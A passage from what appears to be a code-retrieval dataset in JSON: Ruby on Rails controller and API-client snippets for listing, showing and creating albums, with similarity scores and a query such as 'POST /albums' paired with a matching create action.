@user.albums\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "def albums( options=nil )\n params = default_params.merge( \n :method => 'smugmug.albums.get',\n :heavy => 1\n ) \n\n params = params.merge( options ) if( options )\n xml = RestClient.post BASE, params\n \n Smile::Album.from_xml( xml, session_id )\n rescue\n nil\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = @artist.albums.all.page(params[:page] || 1).per(18)\n end", "def index\n @albums = current_user.albums.page(params[:page]).per(10)\n end", "def picasa_albums(options = {})\n return [] unless current_user.has_provider_auth('google')\n PicasaPhoto.picasa_request_with_refresh(current_user.picasa_identity) do\n goog = GooglePhotosApi.new( current_user.picasa_identity.token )\n goog.albums[\"albums\"]\n end\n end", "def index\n @album = Album.find(params[:album_id])\n @photos = @album.photos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @photos }\n end\n end", "def top_albums(tag)\n get(:standard, {:method => \"tag.getTopAlbums\", :tag => tag})\n end", "def show\n @album = Album.find(params[:id])\n render json: AlbumSerializer.new(@album)\n end", "def index\n @galleries_albums = Galleries::Album.all\n end", "def create_albums\n url = 'https://stg-resque.hakuapp.com/albums.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n albums = JSON.parse(response)\n\n albums.each do |album|\n Album.create!(album.except('id'))\n end\nend", "def top_albums(user, options={})\n get(:standard, {:method => \"user.getTopAlbums\", :user => user}.merge(options))\n end", "def show\n @album = Album.where(id: params[:id]).first\n if @album\n render json: @album, status: 200\n else\n return_not_found \n end\n end", "def show\n \n @album = @user.albums.find(params[:id])\n\n respond_to do |format|\n \n format.html # show.html.erb\n format.js { render 'show'}\n format.json { render json: @album }\n end\n end", "def albums( params={} )\n albums = get_connections(\"albums\", params)\n return map_connections albums, :to => Facebook::Graph::Album\n end", "def albums( params={} )\n albums = get_connections(\"albums\", params)\n return map_connections albums, :to => Facebook::Graph::Album\n end", "def album_tracks(album, options = {})\n get \"albums/#{album}/tracks\", options\n end", "def show\n @album = Album.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def index\n if params[:album_id]\n @artists = Album.resolve(params[:album_id]).artist\n else\n @artists = Artist.order(:name)\n end\n\n render json: @artists\n end", "def index\n params[:q]||={:s => \"name asc\"}\n unless current_user.admin.present?\n @albums = current_user.albums\n end\n @q = @albums.search(params[:q])\n @albums = @q.result.page(params[:page]).limit(params[:per_page]||10)\n end", "def index\n @albums = Album.page(params[:page])\n\n respond_to do |format|\n format.html\n format.json { render json: @albums.to_json }\n format.xml { render xml: @albums.to_xml }\n end\n end", "def album(album_id_or_url, options = {})\n options = make_options(:album_id, album_id_or_url, options)\n get(options)\n end", "def index\n @albums = current_account.albums.find(:all, :order => 'position')\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "def top_albums(artist)\n get(:standard, {:method => \"artist.getTopAlbums\", :artist => artist})\n end", "def index\n @albums = Album.page(params[:page]).per(10).order(created_at: :desc)\n\n respond_to do |format|\n format.html\n format.json { render json: @albums.to_json }\n format.xml { render xml: @albums.to_xml }\n end\n end", "def show\n @user_album = UserAlbum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_album }\n end\n end", "def albums\n link :top_albums, :Album, name\n end", "def show\r\n @album = Album.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @album }\r\n end\r\n end", "def show\n @user = User.find(@artist.user_id)\n @albums = @artist.albums\n end", "def show\n album = Album.includes(:album_images).find(params[:id])\n return_hash = album.attributes\n return_hash['album_images'] = album.album_images\n render json: return_hash\n end", "def index\n authorize! :read, Album\n \n @albums = Album.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 10)\n end", "def picasa_albums(user, picasa_user_id=nil)\n return [] unless user.picasa_identity\n picasa = user.picasa_client\n user_data = picasa.user(picasa_user_id) \n albums = []\n unless user_data.nil?\n user_data.albums.select{|a| a.numphotos.to_i > 0}.each do |a|\n albums << {\n 'aid' => a.id,\n 'name' => a.title,\n 'cover_photo_src' => a.thumbnails.first.url\n }\n end\n end\n return albums\n end", "def picasa_albums(options = {})\n return [] unless current_user.has_provider_auth('google')\n PicasaPhoto.picasa_request_with_refresh(current_user.picasa_identity) do\n picasa_user_id = options[:picasa_user_id] || current_user.picasa_identity.provider_uid\n picasa_identity = current_user.picasa_identity\n user_data = if picasa_user_id && picasa_identity\n PicasaPhoto.picasa_request_with_refresh(picasa_identity) do\n picasa_identity.reload\n picasa = Picasa.new(picasa_identity.token)\n picasa.user(picasa_user_id)\n end\n end\n albums = []\n unless user_data.nil?\n user_data.albums.select{|a| a.numphotos.to_i > 0}.each do |a|\n albums << {\n 'aid' => a.id,\n 'name' => a.title,\n 'cover_photo_src' => a.thumbnails.first.url\n }\n end\n end\n albums\n end\n rescue RubyPicasa::PicasaError => e\n raise e unless e.message =~ /authentication/\n Rails.logger.error \"[ERROR #{Time.now}] Failed to refresh access token for #{user.picasa_identity}\"\n []\n end", "def show\n @albumm = Albumm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @albumm }\n end\n end", "def show\n if !session[:access_token]\n redirect_to :controller => 'sessions', :action => 'connect'\n end\n\n pmocampo = \"30792403\"\n client = Instagram.client(:access_token => session[:access_token])\n \n @user = client.user(pmocampo)\n \n @album = Album.find(params[:id])\n @photos = client.user_recent_media(pmocampo)\n @photos = @photos.select {|p| p.tags.include?(@album.tag)}\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def new\n @album = current_user.albums.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def index\n @item_albums = ItemAlbum.all\n end", "def index\n @user = User.find(params[:id])\n raise \"not found\" if @user.blank? \n @albums = @user.albums.all(:order => :title)\n rescue\n redirect_to root_url, :notice => \"Can't find this user.\"\n end", "def index\n @pictures = @album.pictures #JRD111115\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @pictures}\n end\n end", "def show\n @album_owned = AlbumOwned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album_owned }\n end\n end", "def index\n @band = Band.find(params[:band_id])\n @albums = @band.albums\n end", "def index\r\n @photos = Photo.all\r\n\r\n @albums = Album.all\r\n @albums_map = {}\r\n @albums.each do |album| \r\n @albums_map[album.TITLE] = album.ID\r\n end\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @photos }\r\n end\r\n end", "def index\n @private_albums = PrivateAlbum.all\n end", "def show\r\n @photo = Photo.find(params[:id])\r\n\r\n @albums = Album.all\r\n @albums_map = {}\r\n @albums.each do |album| \r\n @albums_map[album.TITLE] = album.ID\r\n end\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @photo }\r\n end\r\n end", "def index\n\t\t@useralbums = current_user.albums\n\t\t@albums = Album.all\n\t\t# @useralbum = UserAlbum.where\n\tend", "def index\n @interior_albums = InteriorAlbum.all\n end", "def show\n @album = Album.find(params[:id])\n @potential_songs = Song.where(:artist_id => @album.artist.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def index\n unless @user = User.first(:conditions => {:id => params[:user_id].to_i})\n redirect_to(root_url)\n return\n end\n \n @photo_albums = @user.photo_albums \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @photo_albums }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\t@album = Album.find(@photo.album_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def get_albums\n sql = \"SELECT * FROM albums WHERE artist_id = $1\"\n values = [@id]\n albums_data = SqlRunner.run(sql, values)\n albums = albums_data.map { |albums_data| Album.new(albums_data)}\n return albums\n end", "def find_album_by_id(client, album_id)\n client.api(:album, :show, album_id)\nend", "def info(options={})\n get(:standard, {:method => \"album.getInfo\"}.merge(options))\n end", "def show\n @album = Album.find_by_slug(params[:album_id])\n @album_item = @album.album_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album_item }\n end\n end", "def index\n @albums = Album.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "def index\n if logged_in?\n @favorites = current_user.favorites\n @albums = Album.all\n\n render json: AlbumSerializer.new(@albums) \n end\n end", "def fetch_album(args)\n search = AlbumFetch.new(args)\n response = APIRequest.post(search.query, Configuration.instance.api_url(@format))\n parse_response(response)\n end", "def albums\n self.album\n end", "def artists\n # TODO: add param for albums and songs\n a = Artist.all\n render json: a\n end", "def show\n\t\t@album = Album.find(params[:id])\n\tend", "def resource\n\t\t@album\n\tend", "def album\n\t\talbums == nil ? nil : albums.first\n\tend", "def index\n @albums = Album.where(\"group_id = ?\", params[:group_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.json { render json: @albums }\n end\n end", "def image_list\n @images = Picture.where(album_id: params[:album_id])\n respond_to do |format|\n format.json { render json: @images.to_json(methods: [:path])}\n end\n end", "def index\n @albums = Album.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "def index\n @albums = Album.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "def show\n @photos = @album.photos.includes(:album).page(params[:page])\n\n respond_to do |format|\n format.html do\n @page = @site.pages.find_by_name 'albums'\n @pages = @site.pages\n end\n format.js {}\n end\n end", "def index\n @songs = @album.songs.all\n end", "def index\n @images = @album.images.all\n end", "def index\n @albums = Album.search(params[:search]).order(sort_column + ' ' + sort_direction).paginate(:per_page => 5, :page => params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @albums }\n end\n end", "def index\n @pictures = @album.pictures.all\n end", "def show\n respond_to do |format|\n format.html { redirect_to action: 'edit', id: @album.id }\n format.json do\n render json: { rows: (@album.nil? ? [] : [@album.marshall]),\n status: (@album.nil? ? 404 : 200),\n total: (@album.nil? ? 0 : 1) }\n end\n end\n end", "def index\r\n jump_to(\"/albums/list/#{session[:account_id]}\")\r\n end", "def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end", "def index\n @albums = @other_user.shared_albums(@login_user.id)\n end", "def top_albums \n lfm_path = \"artist.topAlbums&artist=#{@name}\"\n lfm_data = LastFm::fetch_data(lfm_path)\n return Album.create_from_hash(Hash.from_xml(lfm_data)['lfm']['topalbums']['album'])\n end", "def index\n @album_photos = AlbumPhoto.all\n end", "def new\n @group = Group.find(params[:group_id])\n @album = @group.albums.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def show\n @album = Album.find(params[:id])\n if @album.artist != nil\n @songs = get_songs_from_album @album.artist.name, @album.name\n @song_list = []\n if @songs\n @songs.each do |song|\n entry = Hash.new\n entry['rank'] = song['rank']\n entry['title'] = song['name']\n entry['artist'] = @album.artist.name\n song_in_db = lookup_song song['name'], @album.artist.name\n if song_in_db != nil\n entry['available'] = true\n entry['song_id'] = song_in_db.id\n else\n entry['available'] = false\n end\n entry['duration'] = seconds_to_duration(song['duration'].to_i)\n @song_list << entry\n end\n end\n @album_cover = get_album_cover @album.artist.name, @album.name\n @description = get_description_from_album @album.artist.name, @album.name\n end\n\n @songs = [] if @songs == nil\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end" ]
[ "0.8048931", "0.7923151", "0.79193866", "0.78014976", "0.77844", "0.7780223", "0.77119625", "0.7673395", "0.7659477", "0.75729513", "0.75276154", "0.75228256", "0.74572295", "0.74433213", "0.7395577", "0.7365708", "0.73508006", "0.73417866", "0.73407245", "0.73407245", "0.73407245", "0.73407245", "0.73407245", "0.73407245", "0.73407245", "0.73407245", "0.7322036", "0.73183537", "0.7268043", "0.72548515", "0.7249786", "0.7175557", "0.7175306", "0.7089282", "0.7075508", "0.7073862", "0.7067561", "0.70535755", "0.70535755", "0.70502895", "0.70499504", "0.7047336", "0.7032099", "0.70225596", "0.70105404", "0.70034266", "0.69994", "0.6987544", "0.6985915", "0.6984598", "0.6972868", "0.6965573", "0.69099265", "0.6905971", "0.68562675", "0.6855567", "0.6851585", "0.683983", "0.6834951", "0.68117255", "0.6807393", "0.6805671", "0.6789684", "0.6784436", "0.6763833", "0.673881", "0.67276573", "0.6721126", "0.67204297", "0.67168653", "0.67144895", "0.6705079", "0.67041105", "0.668878", "0.66841644", "0.66815466", "0.6652078", "0.66365373", "0.66180295", "0.6605053", "0.6587493", "0.6585956", "0.6585598", "0.6581055", "0.6573792", "0.65665317", "0.6562288", "0.6562288", "0.6547021", "0.6542613", "0.65358865", "0.65275455", "0.6508044", "0.6507622", "0.650405", "0.64990586", "0.64814615", "0.6476974", "0.64626926", "0.64476", "0.6447495" ]
0.0
-1
GET /albums/1 GET /albums/1.json
def show if signed_in? @upload = current_user.uploads.build end @album = Album.find(params[:id]) @user = @album.user @user_profile_pics = @user.uploads.where(upload_type: 'profile') impressionist @album, '', unique: [:user_id] if current_user @likers = @album.likers(User) @comments = @album.comment_threads.where('parent_id IS NULL').order('created_at desc') if signed_in? @new_comment = Comment.build_from(@album, current_user.id, "") @video = current_user.videos.build end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def album\n album = Album.find(params[:id])\n render json: album\n end", "def get_album album_id\n get(\"/albums/#{album_id}\")\n end", "def index\n @albums = Album.all\n render json: @albums\n end", "def albums\n if params[:artist_id]\n albums = Artist.find(params[:artist_id]).albums\n else\n albums = Album.all\n end\n render json: albums\n end", "def index\n @albums = Album.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @albums }\n end\n end", "def index\n @albums = @user.albums\n end", "def show\n @albums = Artist.find(params[\"id\"]).albums\n end", "def show\n @album = Album.find(params[:id])\n @albums_count = Album.count\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def get_albums(url)\n # should return albums\n # List of Hashes\n \n # must implement \n # - custom site parser\n end", "def show\n @album = Album.where(id: params[:id]).first\n if @album\n render json: @album, status: 200\n else\n return_not_found \n end\n end", "def get_albums(person_id, params={})\n @restv9.get_albums(person_id,params)\n end", "def show\n @album = Album.find(params[:id])\n render json: AlbumSerializer.new(@album)\n end", "def artist_albums(artist, options = {})\n get \"artists/#{artist}/albums\", options\n end", "def show\n @album = Album.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def index\n @album = Album.find(params[:album_id])\n @photos = @album.photos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @photos }\n end\n end", "def show\r\n @album = Album.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @album }\r\n end\r\n end", "def index\n @albums = @user.albums\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "def index\n\t\t@albums = Album.all\n\tend", "def show\n @user_album = UserAlbum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_album }\n end\n end", "def show\n \n @album = @user.albums.find(params[:id])\n\n respond_to do |format|\n \n format.html # show.html.erb\n format.js { render 'show'}\n format.json { render json: @album }\n end\n end", "def index\n @albums = current_user.albums\n end", "def albums\n @albums ||= response.albums.uniq(&:name)\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = @artist.albums.all.page(params[:page] || 1).per(18)\n end", "def index\n @albums = current_user.albums.page(params[:page]).per(10)\n end", "def show\n @albumm = Albumm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @albumm }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\t@album = Album.find(@photo.album_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def create_albums\n url = 'https://stg-resque.hakuapp.com/albums.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n albums = JSON.parse(response)\n\n albums.each do |album|\n Album.create!(album.except('id'))\n end\nend", "def albums(options={})\n call_pageable('library.getalbums', :albums, Album, {:user => @user.name}.merge(options))\n end", "def find_album_by_id(client, album_id)\n client.api(:album, :show, album_id)\nend", "def index\n @pictures = @album.pictures #JRD111115\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @pictures}\n end\n end", "def album(album_id_or_url, options = {})\n options = make_options(:album_id, album_id_or_url, options)\n get(options)\n end", "def new\n @album = current_user.albums.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def show\n @album_owned = AlbumOwned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album_owned }\n end\n end", "def index\n if params[:album_id]\n @artists = Album.resolve(params[:album_id]).artist\n else\n @artists = Artist.order(:name)\n end\n\n render json: @artists\n end", "def index\n @galleries_albums = Galleries::Album.all\n end", "def show\n @album = Album.find_by_slug(params[:album_id])\n @album_item = @album.album_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album_item }\n end\n end", "def show\r\n @photo = Photo.find(params[:id])\r\n\r\n @albums = Album.all\r\n @albums_map = {}\r\n @albums.each do |album| \r\n @albums_map[album.TITLE] = album.ID\r\n end\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @photo }\r\n end\r\n end", "def show\n album = Album.includes(:album_images).find(params[:id])\n return_hash = album.attributes\n return_hash['album_images'] = album.album_images\n render json: return_hash\n end", "def show\n @user = User.find(@artist.user_id)\n @albums = @artist.albums\n end", "def index\n @albums = Album.page(params[:page])\n\n respond_to do |format|\n format.html\n format.json { render json: @albums.to_json }\n format.xml { render xml: @albums.to_xml }\n end\n end", "def show\n if !session[:access_token]\n redirect_to :controller => 'sessions', :action => 'connect'\n end\n\n pmocampo = \"30792403\"\n client = Instagram.client(:access_token => session[:access_token])\n \n @user = client.user(pmocampo)\n \n @album = Album.find(params[:id])\n @photos = client.user_recent_media(pmocampo)\n @photos = @photos.select {|p| p.tags.include?(@album.tag)}\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def top_albums(tag)\n get(:standard, {:method => \"tag.getTopAlbums\", :tag => tag})\n end", "def show\n\t\t@album = Album.find(params[:id])\n\tend", "def index\n @albums = current_account.albums.find(:all, :order => 'position')\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "def albums( options=nil )\n params = default_params.merge( \n :method => 'smugmug.albums.get',\n :heavy => 1\n ) \n\n params = params.merge( options ) if( options )\n xml = RestClient.post BASE, params\n \n Smile::Album.from_xml( xml, session_id )\n rescue\n nil\n end", "def index\n @albums = Album.page(params[:page]).per(10).order(created_at: :desc)\n\n respond_to do |format|\n format.html\n format.json { render json: @albums.to_json }\n format.xml { render xml: @albums.to_xml }\n end\n end", "def show\n @album = Album.find(params[:id])\n @potential_songs = Song.where(:artist_id => @album.artist.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def index\r\n @photos = Photo.all\r\n\r\n @albums = Album.all\r\n @albums_map = {}\r\n @albums.each do |album| \r\n @albums_map[album.TITLE] = album.ID\r\n end\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @photos }\r\n end\r\n end", "def index\n params[:q]||={:s => \"name asc\"}\n unless current_user.admin.present?\n @albums = current_user.albums\n end\n @q = @albums.search(params[:q])\n @albums = @q.result.page(params[:page]).limit(params[:per_page]||10)\n end", "def resource\n\t\t@album\n\tend", "def index\n unless @user = User.first(:conditions => {:id => params[:user_id].to_i})\n redirect_to(root_url)\n return\n end\n \n @photo_albums = @user.photo_albums \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @photo_albums }\n end\n end", "def index\n @band = Band.find(params[:band_id])\n @albums = @band.albums\n end", "def top_albums(artist)\n get(:standard, {:method => \"artist.getTopAlbums\", :artist => artist})\n end", "def show\n @album = Album.find(params[:id]) #find takes one id\n render :show\n end", "def index\n @user = User.find(params[:id])\n raise \"not found\" if @user.blank? \n @albums = @user.albums.all(:order => :title)\n rescue\n redirect_to root_url, :notice => \"Can't find this user.\"\n end", "def picasa_albums(options = {})\n return [] unless current_user.has_provider_auth('google')\n PicasaPhoto.picasa_request_with_refresh(current_user.picasa_identity) do\n goog = GooglePhotosApi.new( current_user.picasa_identity.token )\n goog.albums[\"albums\"]\n end\n end", "def show\n @album2photo = Album2photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album2photo }\n end\n end", "def top_albums(user, options={})\n get(:standard, {:method => \"user.getTopAlbums\", :user => user}.merge(options))\n end", "def show\n respond_to do |format|\n format.html { redirect_to action: 'edit', id: @album.id }\n format.json do\n render json: { rows: (@album.nil? ? [] : [@album.marshall]),\n status: (@album.nil? ? 404 : 200),\n total: (@album.nil? ? 0 : 1) }\n end\n end\n end", "def index\n authorize! :read, Album\n \n @albums = Album.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 10)\n end", "def info(options={})\n get(:standard, {:method => \"album.getInfo\"}.merge(options))\n end", "def index\n @item_albums = ItemAlbum.all\n end", "def show\n @picture = @album.pictures.find(params[:id]) #JRD111115\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @picture}\n end\n end", "def new\n @group = Group.find(params[:group_id])\n @album = @group.albums.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def album\n\t\talbums == nil ? nil : albums.first\n\tend", "def show\n # Pull the selected photo album.\n @photo_tag = PhotoTag.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @photo_tag\n end\n end\n end", "def album_tracks(album, options = {})\n get \"albums/#{album}/tracks\", options\n end", "def index\r\n jump_to(\"/albums/list/#{session[:account_id]}\")\r\n end", "def index\n @albums = Album.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "def index\n @private_albums = PrivateAlbum.all\n end", "def index\n @images = @album.images.all\n end", "def index\n @albums = Album.where(\"group_id = ?\", params[:group_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.json { render json: @albums }\n end\n end", "def new\r\n\r\n @album = Album.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @album }\r\n end\r\n end", "def show\n @album = Album.find(params[:id])\n if @album.artist != nil\n @songs = get_songs_from_album @album.artist.name, @album.name\n @song_list = []\n if @songs\n @songs.each do |song|\n entry = Hash.new\n entry['rank'] = song['rank']\n entry['title'] = song['name']\n entry['artist'] = @album.artist.name\n song_in_db = lookup_song song['name'], @album.artist.name\n if song_in_db != nil\n entry['available'] = true\n entry['song_id'] = song_in_db.id\n else\n entry['available'] = false\n end\n entry['duration'] = seconds_to_duration(song['duration'].to_i)\n @song_list << entry\n end\n end\n @album_cover = get_album_cover @album.artist.name, @album.name\n @description = get_description_from_album @album.artist.name, @album.name\n end\n\n @songs = [] if @songs == nil\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def picasa_albums(user, picasa_user_id=nil)\n return [] unless user.picasa_identity\n picasa = user.picasa_client\n user_data = picasa.user(picasa_user_id) \n albums = []\n unless user_data.nil?\n user_data.albums.select{|a| a.numphotos.to_i > 0}.each do |a|\n albums << {\n 'aid' => a.id,\n 'name' => a.title,\n 'cover_photo_src' => a.thumbnails.first.url\n }\n end\n end\n return albums\n end", "def index\n @interior_albums = InteriorAlbum.all\n end", "def show\n @photo = @allbum.photos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def albums\n link :top_albums, :Album, name\n end", "def get_albums\n sql = \"SELECT * FROM albums WHERE artist_id = $1\"\n values = [@id]\n albums_data = SqlRunner.run(sql, values)\n albums = albums_data.map { |albums_data| Album.new(albums_data)}\n return albums\n end", "def image_list\n @images = Picture.where(album_id: params[:album_id])\n respond_to do |format|\n format.json { render json: @images.to_json(methods: [:path])}\n end\n end", "def set_album\n begin\n @album = Album.find(params[:id])\n rescue ActiveRecord::RecordNotFound => e\n render :json => {error: 'record not found'}, status: :not_found\n end\n end", "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def show\n @album = current_account.albums.find(params[:id])\n @page_title = @album.name\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @album }\n end\n end", "def show\n @photos = @album.photos.includes(:album).page(params[:page])\n\n respond_to do |format|\n format.html do\n @page = @site.pages.find_by_name 'albums'\n @pages = @site.pages\n end\n format.js {}\n end\n end", "def fetch_album(args)\n search = AlbumFetch.new(args)\n response = APIRequest.post(search.query, Configuration.instance.api_url(@format))\n parse_response(response)\n end", "def index\n @pictures = @album.pictures.all\n end", "def show\n song = Song.find(params[:id])\n render json: song.to_json(only: [:id, :title, :artist], methods: :path, include: {category: {only: [:id, :name]}})\n end", "def albums( params={} )\n albums = get_connections(\"albums\", params)\n return map_connections albums, :to => Facebook::Graph::Album\n end", "def albums( params={} )\n albums = get_connections(\"albums\", params)\n return map_connections albums, :to => Facebook::Graph::Album\n end", "def index\n @albums = Album.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "def index\n @albums = Album.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end" ]
[ "0.8010893", "0.79601175", "0.7838933", "0.76931643", "0.7598457", "0.7579601", "0.7575355", "0.75562096", "0.75089633", "0.7500134", "0.74333906", "0.7426798", "0.7391768", "0.73389864", "0.7287336", "0.7271081", "0.72389615", "0.7209903", "0.7200635", "0.7192762", "0.719262", "0.7190189", "0.71899974", "0.7189037", "0.7189037", "0.7189037", "0.7189037", "0.7189037", "0.7189037", "0.7189037", "0.7189037", "0.7174694", "0.71160007", "0.7078915", "0.7077601", "0.70660496", "0.7058713", "0.7049489", "0.70435", "0.7025857", "0.70171344", "0.70086575", "0.6976009", "0.69755596", "0.697138", "0.69670695", "0.6944127", "0.6941958", "0.69266605", "0.68857", "0.68773973", "0.68753034", "0.6860878", "0.68499345", "0.6849906", "0.68468356", "0.68297654", "0.6786572", "0.67595285", "0.67595005", "0.6749892", "0.67452264", "0.6735612", "0.67324764", "0.6729119", "0.67173696", "0.6716952", "0.67097074", "0.6707279", "0.67051023", "0.6698686", "0.66937566", "0.66767585", "0.66571563", "0.6642816", "0.6640607", "0.6622478", "0.6604973", "0.6604935", "0.659947", "0.65925467", "0.6589441", "0.6587322", "0.65821093", "0.657914", "0.6577139", "0.6574047", "0.6572037", "0.65698504", "0.6569401", "0.6568482", "0.6568482", "0.6557697", "0.65519524", "0.6551283", "0.6549354", "0.65431345", "0.651043", "0.651043", "0.6497524", "0.6497524" ]
0.0
-1
POST /albums POST /albums.json
def create @album = Album.new(album_params) @album.user_id = current_user.id respond_to do |format| if @album.save if @album.user.locations.any? add_location_to_user_albums(@album.user.locations.where(status: 'current').first) if @album.user.locations.where(status: 'current').any? end create_activity(@album.class.name, @album.id, 'create') format.html { if album_params.has_key?(:cover) render 'crop' else redirect_to @album, notice: 'Portfolio was successfully created.' end } format.json { render action: 'show', status: :created, location: @album } else format.html { render action: 'new' } format.json { render json: @album.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_albums\n url = 'https://stg-resque.hakuapp.com/albums.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n albums = JSON.parse(response)\n\n albums.each do |album|\n Album.create!(album.except('id'))\n end\nend", "def create\n @album = current_user.albums.build(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = current_user.albums.new(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'El album a sido creado satisfactoriamente.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = current_user.albums.new(params[:album])\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'You created a #Album. Now share your #album around the internets' }\n format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @Album.errors, status: :unprocessable_entity }\n end\n end\n end", "def album\n album = Album.find(params[:id])\n render json: album\n end", "def create\n @album = Album.new(params[:album])\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(params[:album])\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n 